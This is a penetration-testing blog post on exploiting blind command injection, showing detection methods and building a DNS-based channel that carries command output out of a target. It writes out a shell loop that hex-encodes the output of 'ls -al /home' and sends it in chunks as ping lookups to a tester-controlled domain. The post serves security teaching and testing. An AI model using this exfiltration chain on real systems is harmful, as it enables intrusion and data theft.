Blind Command Injection: Exploiting with DNS Queries

Exploiting Blind Command Injection Vulnerabilities with DNS Queries

A fair amount of the work we do in the Foregenix Penetration Testing team is, in one way or another, a flavour of web application penetration testing. In these assessments we come across command execution vulnerabilities that belong in one of two different categories:

1. Those were the output is returned directly to the user and,
2. Well… those that are not.

In this blog post we will discuss the latter, cases where the output of our command is not directly displayed on the application, and present a strategy for obtaining access to the output of our command using recursive DNS queries. Finally we construct a practical example of the discussed strategy via a step by step process bypassing different constraints imposed to us by the use of DNS as an out of band retrieval method.

Theory behind Blind Command Execution

While the first category above is very easy to identify, the second is not and is known as a blind command execution vulnerability. So how do we go about detecting it? Well, we need to devise a way to interpret/identify if our command got executed or not by carefully constructing our payloads to divulge that. There are a few ways to go about doing that:

1. Using an action that takes some abnormal time to complete: e.g. searching the entire filesystem for a file with specific characteristics and then measuring the application response time; using operating system commands to force the process to sleep for a few seconds, etc.
2. Trying to elicit direct or indirect network traffic between the application and a server you control.
1. Direct traffic could be a ping request to a system under our control: receipt of an ICMP echo request means your command got executed.
2. Indirect traffic could be a DNS request: receipt of a DNS request on a DNS server we control would also mean that our command got executed.

There are cases where direct and indirect can be used in the same command such as pinging a hostname. This will cause the application server to first try and resolve the hostname and later, if successful, ping it.

So lets say that we have successfully identified that our request is actually executing correctly but we are still unable to receive any results back.

Test bed application

We have created a small (and blatantly vulnerable) python web application to highlight blind command execution and provide a test bed to showcase DNS as an out of band command retrieval channel. You can find the application’s source code below.

You can see that the application parses a JSON string and checks if the file used in the filename parameter exists on the system or not. It does so by passing this to the system ls (or dir depending on the platform) command and it interprets the response code.

Popular scanner results

We scanned the application with two very popular tools, BurpSuite and OWASP Zed Attack Proxy (ZAP) scanner modules. The vulnerability was identified by both scanners, albeit using different detection methods. OWASP ZAP used the timing method by adding sleep 15 at the end of the original payload while BurpSuite used its collaborator feature and DNS itself to identify commands being executed or not.

A primer on BurpSuite’s blind command execution identification

BurpSuite uses what it calls a ‘collaborator server’ to try and identify cases where the attacked application tries to interface with outside systems in any way. Most, if not all, payloads used by BurpSuite’s scanner module reference a collaborator server whenever this type of the payload dictates using a hostname and/or IP address. BurpSuite queries the collaborator server in order to identify whether the payloads it submitted resulted in an interaction between the collaborator server and an application component. You can find more information on BurpSuite’s collaborator under https://portswigger.net/burp/documentation/collaborator but for the purposes of this post, the above background will suffice.

Data Retrieval

So now we are in a position to accurately identify our command is being executed on the system, however, we cannot yet get the result of that command. So we need to find a way to obtain the output of that command. For the sake of simplicity, the remainder of this post assumes that DNS is allowed outgoing via recursive queries and that we are attacking a Linux based system.

So let’s start our step by step process for achieving a DNS call back channel for command output retrieval. As part of our thought process, we like to break a task down in discrete steps and address these in sequence, so you will have to bear with that process for the rest of this post.

Gate 1: Capturing our command’s output

We will start with capturing the output of the command we want to run. Luckily Linux provides a couple of trivial ways to achieve that, such as var=$(<command>) or <command> | (piping to another executable). Let's use ls -al /home as our command for the remainder of this post.

Gate 2: Eliminating all non ASCII characters.

Remember, we will be doing data movement using DNS queries originating from our attacked application towards a DNS server we control. DNS allows a few characters to be used in hostnames and we must account for that. Luckily we can use a native linux binary to encode the output of our command to only contain lowercase alpha characters and numbers, essentially hex encoding our output. This utility is xxd. xxd and it supports a couple of command line switches to make our lives easier, namely -ps which outputs data in a simple hexdump format versus the normal columned format, and -c which allows us to define how many characters it can have in one row of hexdump; we need these to be as long as possible to avoid line breaks in our hostnames.

Normal xxd output

Preferred xxd output

Gate 3: Dividing xxd’s output above in manageable chunks.

A hostname can be between 1 and 63 characters long so we will need to break the above into manageable chunks. The exact size you will need depends on what is appended to the end to make it reach a DNS server under our control. Between 20 and 30 characters in length has worked ok for us in the past. Again, Linux has a native utility to help us with that, namely cut. cut which can be used with a command line ‘-c’ switch to extract characters between 2 given points in a string. For example, pick the characters on a string between position 20 and 40:

Applying this in in our building of our payload gets us to:

So now we just have to iterate our string 20 characters at a time. Again we can use Linux native utilities to achieve this task.

Let’s break the key components down:

1. for i in $(seq 1 20 $(ls -al /home | xxd -c 80000000 -ps | wc -m)) - Starts a loop with i as the iterating variable starting at 1, incrementing 20 characters at a time until it reaches how many characters (wc -l) the xxd encoding of ls -al /home is.
2. ls -al /home | xxd -ps -c 80000000 | cut -c$i-$(($i+19)) - In each iteration, we run the command we want, encode it and cut starting at i and stopping at i+19.

Gate 4: Getting this across as DNS queries

We will use nslookup or ping for this and capitalise the above loop. We have come across systems where nslookup is not present so we end up using ping and doing name resolution implicitly. As such our command becomes:

The interesting bit is ping -c 1 $i.`ls -al /home | xxd -ps -c 80000000 | cut -c$i-$(($i+19))`.pt.fgxpt.com where it tries to send a single ICMP echo packet to hostname constructed as $i.<command_chunk>.pt.fgxpt.com. This domain is resolved by a server we control. The increment $i at the beginning of the hostname helps us root out duplicates.

Running this command gets us:

Now, let’s see what our DNS server’s side saw.

We can isolate duplicates and extract the relevant parts of the hostnames in order to get the output of the command.

We have put together a small python script to help us with that.

Revisiting the vulnerable application

Armed with that, we can go back to our vulnerable application and try to use this in order to get data back.

We use the following request in order to execute our payload on the application server:

Sure enough, in a couple of seconds, our DNS server starts receiving name resolution requests:

Using our python script, we get the following output:

Room for improvement

So, at the moment we have a payload that works, but is borderline ugly with the command being repeated in two places which means if you want to run another command, you will need to make changes in two places, being susceptible to missing or getting confusing data back, especially if the data we are getting back can change quickly, inefficient - you will have noticed that for every iteration we execute the same command over and over again, etc. We can fix that thanks to a colleague of the OrionX Team pointing $() out to me when I was trying to piece this post together. By defining a variable at the start of our payload to hold the command hexadecimal representation and performing all subsequent operations on that variable overcomes some of the inefficiencies on that command.

Wrap-up

So at this point, massive thanks are due for staying with us for this rather long post. In this blog post we dealt with a specific problem/situation when testing a web application. Command injection attacks are really cool and rare so when this opportunity arises we as penetration testers need to make the most of it. In this post we presented a strategy and a practical example on using DNS as an out of band command output retrieval mechanism. While there are other ways to exploit a blind command injection vulnerability such as uploading a web shell or piping a shell back, most of these either depend on some other information (finding the web root for the saving the web shell) or are hindered by network restrictions as may be the case for piping a shell back to the penetration testers’ server. The nature of DNS can be used to bypass these restrictions or gain access to their prerequisites for a second stage exploitation attempt. This post in our mind illustrates that where there is will there is a way. We hope you enjoyed reading this as much as we enjoyed writing it.